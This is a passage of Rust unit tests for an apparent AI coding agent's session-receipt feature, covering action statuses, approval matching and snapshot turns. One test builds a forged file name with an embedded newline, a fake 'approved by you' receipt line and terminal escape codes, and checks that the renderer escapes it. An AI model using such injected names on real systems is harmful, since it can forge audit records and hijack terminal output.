918 "Tool 'exec_shell' denied by user — the call was not approved.",
919 true,
920 ),
921 ];
922 let mut source = session_source_fixture();
923 source.started_at = Some("2026-09-24T00:00:00Z".parse().expect("time"));
924 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
925
926 let statuses: Vec<(&str, ActionStatus)> = receipt
927 .actions
928 .iter()
929 .map(|action| (action.call_id.as_deref().unwrap_or(""), action.status))
930 .collect();
931 assert_eq!(
932 statuses,
933 vec![
934 ("m1", ActionStatus::Failed),
935 ("m2", ActionStatus::Failed),
936 ("m3", ActionStatus::Failed),
937 ("f1", ActionStatus::Failed),
938 ("c1", ActionStatus::Failed),
939 ("s1", ActionStatus::Unknown),
940 ("m4", ActionStatus::Ok),
941 ("s2", ActionStatus::Blocked),
942 ("d1", ActionStatus::NotRun),
943 ]
944 );
945 assert!(
946 matches!(receipt.actions[6].what, ActionKind::Mcp { .. }),
947 "{:?}",
948 receipt.actions[6].what
949 );
950 let totals = &receipt.totals;
951 assert_eq!(totals.mcp_calls, 4);
952 assert_eq!(totals.files_changed, 0);
953 assert_eq!(totals.blocked, 1);
954 assert_eq!(
955 totals.ran_without_asking, 6,
956 "every MCP, fetch, and code call counts as run"
957 );
958 assert_eq!(
959 action_line(&receipt.actions[8]),
960 "did not run `rm -rf build`"
961 );
962 }
963
964 /// A file a command named with a newline or an escape sequence cannot add a
965 /// receipt line or reach the terminal raw.
966 #[test]
967 fn file_names_cannot_add_receipt_lines_or_escape_codes() {
968 let forged = "x\n2. ran `true` · approved by you\u{1b}]0;pwn\u{7}\u{202e}";
969 let messages = vec![
970 text(Role::User, "write it"),
971 tool_use(
972 "w1",
973 "write_file",
974 json!({"path": forged, "content": "hi\n"}),
975 ),
976 tool_result("w1", "Wrote it", false),
977 ];
978 let mut source = session_source_fixture();
979 source.title = Some("title\nwith a break\u{1b}[2J".into());
980 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
981 let line = action_line(&receipt.actions[0]);
982 assert_eq!(
983 line,
984 "wrote `x\\n2. ran `true` · approved by you\\u{1b}]0;pwn\\u{7}\\u{202e}`"
985 .replace("`x", "``x")
986 .replace("202e}`", "202e}``")
987 );
988 let markdown = render_markdown(&receipt);
989 assert!(!markdown.contains('\u{1b}'), "{markdown:?}");
990 assert!(!markdown.contains('\u{7}'), "{markdown:?}");
991 assert!(!markdown.contains('\u{202e}'), "{markdown:?}");
992 assert!(
993 !markdown.lines().any(|line| line.starts_with("2. ")),
994 "{markdown}"
995 );
996 assert!(
997 markdown.starts_with("# Receipt: title\\nwith a break\\u{1b}[2J\n"),
998 "{markdown}"
999 );
1000 }
1001
1002 #[test]
1003 fn snapshot_turn_numbers_must_agree_for_a_repeated_prompt() {
1004 // One run from the start: turn N is pair N.
1005 assert!(seq_fits(1, 1, None));
1006 assert!(!seq_fits(2, 1, None), "turn 1 cannot own pair 2");
1007 assert!(seq_fits(3, 2, Some(1)));
1008 assert!(!seq_fits(3, 1, Some(1)), "pair 3 belongs to a later turn");
1009 // Resumed after the last match: the next run numbers from 1 again.
1010 assert!(seq_fits(1, 1, Some(2)));
1011 assert!(!seq_fits(2, 1, Some(2)));
1012 assert!(!seq_fits(0, 1, None));
1013 }
1014
1015 /// Two turns with the same prompt, and only the second has snapshots: the
1016 /// first must not take the second's files.
1017 #[test]
1018 fn a_repeated_prompt_does_not_take_another_turns_snapshots() {
1019 let _lock = crate::test_support::lock_test_env();
1020 let home = tempfile::tempdir().expect("home");
1021 let _env = crate::test_support::EnvVarGuard::set("CODEWHALE_HOME", home.path());
1022 let workspace = tempfile::tempdir().expect("workspace");
1023 let root = workspace.path();
1024 std::fs::write(root.join("a.txt"), "one\n").expect("a");
1025
1026 let session = "sess-repeat";
1027 // Turn 1's pair is gone (pruned). A `!` shell command took engine turn
1028 // 2, which has no prompt in the transcript; turn 2's pair is number 3.
1029 crate::core::turn::pre_turn_snapshot(root, 2, 0, Some("git status"), Some(session))
1030 .expect("pre-turn snapshot");
1031 crate::core::turn::post_turn_snapshot(root, 2, 0, Some("git status"), Some(session))
1032 .expect("post-turn snapshot");
1033 crate::core::turn::pre_turn_snapshot(root, 3, 0, Some("continue"), Some(session))
1034 .expect("pre-turn snapshot");
1035 std::fs::write(root.join("a.txt"), "two\n").expect("a");
1036 crate::core::turn::post_turn_snapshot(root, 3, 0, Some("continue"), Some(session))
1037 .expect("post-turn snapshot");
1038
1039 let messages = vec![
1040 prompt_with_posture("continue", "Full Access"),
1041 prompt_with_posture("continue", "Full Access"),
1042 ];
1043 let mut source = session_source_fixture();
1044 source.id = session.to_string();
1045 source.workspace = Some(root.display().to_string());
1046 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
1047
1048 let turns: Vec<Option<&str>> = receipt
1049 .actions
1050 .iter()
1051 .filter(|action| matches!(action.what, ActionKind::WorkspaceChange { .. }))
1052 .map(|action| action.turn.as_deref())
1053 .collect();
1054 assert_eq!(turns, vec![Some("2")]);
1055 assert!(
1056 receipt
1057 .not_recorded
1058 .iter()
1059 .any(|note| note
1060 .starts_with("Shell file changes: 1 turn without a before/after snapshot")),
1061 "{:?}",
1062 receipt.not_recorded
1063 );
1064 assert!(
1065 receipt
1066 .not_recorded
1067 .iter()
1068 .any(|note| note.contains("anything outside the workspace")),
1069 "{:?}",
1070 receipt.not_recorded
1071 );
1072 }
1073
1074 #[test]
1075 fn session_receipts_join_only_unambiguous_execution_identities() {
1076 let messages: Vec<Message> = serde_json::from_value(json!([
1077 {"role":"assistant","content":[{"type":"tool_use","id":"wire","execution_id":"first","name":"bash","input":{"command":"echo first"}}]},
1078 {"role":"user","content":[{"type":"tool_result","tool_use_id":"wire","execution_id":"first","content":"first"}]},
1079 {"role":"assistant","content":[{"type":"tool_use","id":"wire","execution_id":"second","name":"bash","input":{"command":"echo second"}}]},
1080 {"role":"user","content":[{"type":"tool_result","tool_use_id":"wire","execution_id":"second","content":"second"}]}
1081 ])).unwrap();
1082 let approvals = vec![
1083 ApprovalReceipt::asked("first", "bash"),
1084 ApprovalReceipt::decided("first", ApprovalOutcome::ApprovedOnce),
1085 ];
1086 let receipt = session_receipt(session_source_fixture(), &messages, &approvals, None).unwrap();
1087 let commands = receipt
1088 .actions
1089 .iter()
1090 .filter(|action| matches!(action.what, ActionKind::Command { .. }))
1091 .collect::<Vec<_>>();
1092 assert_eq!(commands.len(), 2);
1093 assert_eq!(commands[0].call_id.as_deref(), Some("first"));
1094 assert!(commands[0].approval.is_some());
1095 assert_eq!(commands[1].call_id.as_deref(), Some("second"));
1096 assert!(commands[1].approval.is_none());
1097 assert_eq!(commands[1].status, ActionStatus::Ok);
1098
1099 // Duplicate local IDs, repeated legacy IDs, and mixed domains with the
1100 // same string cannot lend one stored approval to multiple calls.
1101 for (first, second, wire) in [
1102 (Some("wire"), Some("wire"), "provider"),
1103 (None, None, "wire"),
1104 (Some("wire"), None, "wire"),
1105 ] {
1106 let ambiguous: Vec<Message> = serde_json::from_value(json!([
1107 {"role":"assistant","content":[{"type":"tool_use","id":wire,"execution_id":first,"name":"bash","input":{"command":"echo a"}}]},
1108 {"role":"user","content":[{"type":"tool_result","tool_use_id":wire,"execution_id":first,"content":"a"}]},
1109 {"role":"assistant","content":[{"type":"tool_use","id":wire,"execution_id":second,"name":"bash","input":{"command":"echo b"}}]},
1110 {"role":"user","content":[{"type":"tool_result","tool_use_id":wire,"execution_id":second,"content":"b"}]}
1111 ])).unwrap();
1112 let approvals = vec![
1113 ApprovalReceipt::asked("wire", "bash"),
1114 ApprovalReceipt::decided("wire", ApprovalOutcome::ApprovedOnce),
1115 ];
1116 let receipt =
1117 session_receipt(session_source_fixture(), &ambiguous, &approvals, None).unwrap();
1118 assert!(
1119 receipt
1120 .actions
1121 .iter()
1122 .filter(|action| matches!(action.what, ActionKind::Command { .. }))
1123 .all(|action| action.approval.is_none() && action.call_id.is_none())
1124 );
1125 assert!(
1126 receipt
1127 .not_recorded
1128 .iter()
1129 .any(|note| note.contains("unique approval association"))
1130 );
1131 }
1132 for (call, result, wire) in [
1133 (Some(""), Some(""), "wire"),
1134 (Some("first"), None, "wire"),
1135 (Some("first"), Some("first"), "other"),
1136 ] {
1137 let invalid: Vec<Message> = serde_json::from_value(json!([
1138 {"role":"assistant","content":[{"type":"tool_use","id":"wire","execution_id":call,"name":"bash","input":{"command":"echo a"}}]},
1139 {"role":"user","content":[{"type":"tool_result","tool_use_id":wire,"execution_id":result,"content":"not this execution"}]}
1140 ])).unwrap();
1141 let (steps, _, _) = steps_from_messages(&invalid);
1142 assert_eq!(steps[0].outcome, StepOutcome::Unknown);
1143 assert!(steps[0].output.is_none());
1144 }
1145 }
1146
1146 lines RUST